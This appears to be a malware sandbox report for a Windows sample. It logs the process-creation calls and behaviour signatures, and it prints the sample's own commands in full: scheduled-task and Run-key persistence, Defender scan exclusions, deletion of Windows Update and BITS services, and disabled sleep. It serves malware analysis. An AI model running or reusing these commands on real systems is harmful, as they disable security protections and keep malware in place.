CreateProcessInternalW Feb. 19, 2025, 10:30 a.m.	thread_identifier: 2676 thread_handle: 0x0000000000000088 process_identifier: 1156 current_directory: filepath: track: 1 command_line: cmd /c powercfg /x -hibernate-timeout-ac 0 & powercfg /x -hibernate-timeout-dc 0 & powercfg /x -standby-timeout-ac 0 & powercfg /x -standby-timeout-dc 0 filepath_r: stack_pivoted: 0 creation_flags: 134217728 (CREATE_NO_WINDOW) inherit_handles: 0 process_handle: 0x0000000000000090	1	1
CreateProcessInternalW Feb. 19, 2025, 10:30 a.m.	thread_identifier: 2644 thread_handle: 0x00000000000000b4 process_identifier: 2388 current_directory: filepath: track: 1 command_line: powershell <#tkmebyokj#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { "schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'Barac' /tr '''C:\Program Files\Cuis\bon\Bara.exe'''" } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Cuis\bon\Bara.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'Barac' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "Barac" /t REG_SZ /f /d 'C:\Program Files\Cuis\bon\Bara.exe' } filepath_r: stack_pivoted: 0 creation_flags: 134217728 (CREATE_NO_WINDOW) inherit_handles: 0 process_handle: 0x00000000000000b8	1	1
CreateProcessInternalW Feb. 19, 2025, 10:31 a.m.	thread_identifier: 1168 thread_handle: 0x00000000000000cc process_identifier: 2692 current_directory: filepath: track: 1 command_line: powershell <#byjeowvd#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { schtasks /run /tn "Barac" } Else { "C:\Program Files\Cuis\bon\Bara.exe" } filepath_r: stack_pivoted: 0 creation_flags: 134217728 (CREATE_NO_WINDOW) inherit_handles: 0 process_handle: 0x00000000000000d4	1	1

Checks for the Locally Unique Identifier on the system for a suspicious privilege (1 event)

Time & API	Arguments	Status	Return	Repeated
LookupPrivilegeValueW Feb. 19, 2025, 10:46 a.m.	system_name: privilege_name: SeDebugPrivilege	1	1	0

Uses Windows utilities for basic Windows functionality (7 events)

cmdline	powershell <#byjeowvd#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { schtasks /run /tn "Barac" } Else { "C:\Program Files\Cuis\bon\Bara.exe" }
cmdline	sc stop UsoSvc
cmdline	sc stop WaaSMedicSvc
cmdline	powershell <#tkmebyokj#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { "schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'Barac' /tr '''C:\Program Files\Cuis\bon\Bara.exe'''" } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Cuis\bon\Bara.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'Barac' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "Barac" /t REG_SZ /f /d 'C:\Program Files\Cuis\bon\Bara.exe' }
cmdline	cmd /c sc stop UsoSvc & sc stop WaaSMedicSvc & sc stop wuauserv & sc stop bits & sc stop dosvc & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\wuauserv" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\bits" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\dosvc" /f
cmdline	sc stop bits
cmdline	sc stop wuauserv

Attempts to stop active services (2 events)

Time & API	Arguments	Status	Return	Repeated
ControlService Feb. 19, 2025, 10:47 a.m.	service_handle: 0x00000000004a5270 service_name: None control_code: 1		0	0
ControlService Feb. 19, 2025, 10:47 a.m.	service_handle: 0x0000000000545270 service_name: None control_code: 1		0	0

Installs itself for autorun at Windows startup (1 event)

cmdline

powershell <#tkmebyokj#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { "schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'Barac' /tr '''C:\Program Files\Cuis\bon\Bara.exe'''" } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Cuis\bon\Bara.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'Barac' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "Barac" /t REG_SZ /f /d 'C:\Program Files\Cuis\bon\Bara.exe' }

Drops a binary and executes it (3 events)

file	C:\Users\test22\AppData\Local\Temp\liu5jhg.exe
file	C:\Users\test22\AppData\Local\Temp\sdfg5fee.exe
file	C:\Users\test22\AppData\Local\Temp\iujtyjythyt.exe

Powershell script adds registry entries (1 event)

cmd

powercfg /x -hibernate-timeout-ac 0 powershell <#byjeowvd#> if((new-object security.principal.windowsprincipal([security.principal.windowsidentity]::getcurrent())).isinrole([security.principal.windowsbuiltinrole]::administrator)) { schtasks /run /tn "barac" } else { "c:\program files\cuis\bon\bara.exe" }sc stop usosvc sc stop waasmedicsvc "c:\users\test22\appdata\local\temp\iujtyjythyt.exe" powershell <#tkmebyokj#> if((new-object security.principal.windowsprincipal([security.principal.windowsidentity]::getcurrent())).isinrole([security.principal.windowsbuiltinrole]::administrator)) { if([system.environment]::osversion.version -lt [system.version]"6.2") { "schtasks /create /f /sc onlogon /rl highest /ru 'system' /tn 'barac' /tr '''c:\program files\cuis\bon\bara.exe'''" } else { register-scheduledtask -action (new-scheduledtaskaction -execute 'c:\program files\cuis\bon\bara.exe') -trigger (new-scheduledtasktrigger -atstartup) -settings (new-scheduledtasksettingsset -allowstartifonbatteries -disallowhardterminate -dontstopifgoingonbatteries -dontstoponidleend -executiontimelimit (new-timespan -days 1000)) -taskname 'barac' -user 'system' -runlevel 'highest' -force; } } else { reg add "hkcu\software\microsoft\windows\currentversion\run" /v "barac" /t reg_sz /f /d 'c:\program files\cuis\bon\bara.exe' }powershell add-mppreference -exclusionpath @($env:userprofile, $env:programfiles) -forcecmd /c sc stop usosvc & sc stop waasmedicsvc & sc stop wuauserv & sc stop bits & sc stop dosvc & reg delete "hklm\system\currentcontrolset\services\usosvc" /f & reg delete "hklm\system\currentcontrolset\services\waasmedicsvc" /f & reg delete "hklm\system\currentcontrolset\services\wuauserv" /f & reg delete "hklm\system\currentcontrolset\services\bits" /f & reg delete "hklm\system\currentcontrolset\services\dosvc" /fc:\users\test22\appdata\local\temp\liu5jhg.exesc stop bits sc stop wuauserv c:\users\test22\appdata\local\temp\sdfg5fee.exec:\users\test22\appdata\local\temp\iujtyjythyt.exe"c:\users\test22\appdata\local\temp\sdfg5fee.exe" c:\windows\system32\dialer.execmd /c powercfg /x -hibernate-timeout-ac 0 & powercfg /x -hibernate-timeout-dc 0 & powercfg /x -standby-timeout-ac 0 & powercfg /x -standby-timeout-dc 0"c:\users\test22\appdata\local\temp\liu5jhg.exe"

Uses Sysinternals tools in order to add additional command line functionality (1 event)

cmdline

Okfgjrg5d8gt

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